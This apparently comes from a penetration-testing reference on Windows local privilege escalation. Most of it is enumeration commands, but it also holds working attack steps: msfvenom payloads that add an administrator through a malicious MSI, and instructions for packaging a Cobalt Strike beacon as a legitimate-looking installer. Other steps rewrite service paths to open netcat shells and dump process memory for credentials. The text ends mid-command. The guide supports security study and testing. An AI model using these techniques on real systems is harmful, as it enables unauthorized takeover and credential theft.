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Windows Local Privilege Escalation

Best tool to look for Windows local privilege escalation vectors: WinPEASโ€‹

Initial Windows Theory

Access Tokens

If you don't know what are Windows Access Tokens, read the following page before continuing:


If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing:

Integrity Levels

If you don't know what are integrity levels in Windows you should read the following page before continuing:

Windows Security Controls

There are different things in Windows that could prevent you from enumerating the system, run executables or even detect your activities. You should read the following page and enumerate all these defenses mechanisms before starting the privilege escalation enumeration:

System Info

Version info enumeration

Check if the Windows version has any known vulnerability (check also the patches applied).
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.
On the system
  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • โ€‹watsonโ€‹
  • โ€‹winpeas (Winpeas has watson embedded)
Locally with system infromation
Github repos of exploits:


Any credential/Juicy info saved in the env variables?
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell History

ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transcript files

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber

PowerShell Module Logging

It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results. You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" instead of "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
To view the last 15 events from PowersShell logs you can execute:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
The Script Block logging events can be found in Windows Event viewer under following path: Application and Sevices Logs > Microsoft > Windows > Powershell > Operational To view the last 20 events you can use:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Settings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"


wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root


You can compromise the system if the updates are not requested using httpS but http.
You start by checking if the network uses a non-SSL WSUS update by running the following:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
If you get a reply such as:
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
Read the research here:
WSUS CVE-2020-1013
โ€‹Read the complete report here. Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerโ€™s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current userโ€™s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userโ€™s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).


This is essentially a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced, where the user has self rights (to configure RBCD) and where the user can create computers in the domain. All the requirements are satisfied with default settings.
Find the exploit in https://github.com/Dec0ne/KrbRelayUpโ€‹


If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated


Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Just execute the created binary to escalate privileges.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to execute command lines

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
    • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • Right-click the project and select View > Custom Actions.
  • Right-click Install and select Add Custom Action.
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Under the Custom Action Properties, change Run64Bit to True.
  • Finally, build it.
    • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

MSI Installation

To execute the installation of the malicious .msi file in background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
To exploit this vulnerability you can use: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Audit Settings

These settings decide what is being logged, so you should pay attention
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit


Windows Event Forwarding, is interesting to know where are the logs sent
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager


LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If your user is given enough permissions you might be able to read the passwords of the local admins.


If active, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service). More info about WDigest in this page.
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

LSA Protection

Microsoft in Windows 8.1 and later has provided additional protection for the LSA to prevent untrusted processes from being able to read its memory or to inject code. More info about LSA Protection here.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL

Credentials Guard

Credential Guard is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash. More info about Credentials Guard here.โ€‹
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags

Cached Credentials

Domain credentials are used by operating system components and are authenticated by the Local Security Authority (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data. More info about Cached Credentials here.

Users & Groups

Enumerate Users & Groups

You should check if any of the groups where you belong have interesting permissions
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

If you belongs to some privileged group you may be able to escalate privileges. Learn about privileged groups and how to abuse them to escalate privileges here:

Token manipulation

Learn more about what is a token in this page: Windows Tokens. Check the following page to learn about interesting tokens and how to abuse them:

Logged users / Sessions

klist sessions

Home folders

dir C:\Users
Get-ChildItem C:\Users

Password Policy

net accounts

Get the content of the clipboard

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

First of all, listing the processes check for passwords inside the command line of the process. Check if you can overwrite some binary running or if you have write permissions of the binary folder to exploit possible DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Checking permissions of the processes binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
Checking permissions of the folders of the processes binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.

Memory Password mining

You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"


Get a list of services:
net start
wmic service list brief
sc query


You can use sc to get information of a service
sc qc <service_name>
It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
It is recommended to check if "Authenticated Users" can modify any service:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Enable service

If you are having this error (for example with SSDPSRV):
System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
You can enable it using
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)
Another workaround of this problem is running:
sc.exe config usosvc start= auto

Modify service binary path

If the group "Authenticated users" has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
sc config <Service_Name> binpath= "C:\nc.exe -nv 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Other Permissions can be used to escalate privileges: SERVICE_CHANGE_CONFIG Can reconfigure the service binary WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG WRITE_OWNER: Can become owner, reconfigure permissions GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG
To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions

Services binaries weak permissions

Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking). You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
You can also use sc and icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

You should check if you can modify any service registry. You can check your permissions over a service registry doing:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.
To change the Path of the binary executed:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
To list all unquoted service paths (minus built-in Windows services)
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path You can manually create a service binary with metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

It's possible to indicate Windows what it should do when executing a service this fails. If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges.


Installed Applications

Check permissions of the binaries (maybe you can overwrite one and escalate privileges) and of the folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Write Permissions

Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Run at startup

Check if you can overwrite some registry or binary that is going to be executed by a different user. Read the following page to learn more about interesting autoruns locations to escalate privileges:


Look for possible third party weird/vulnerable drivers
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%")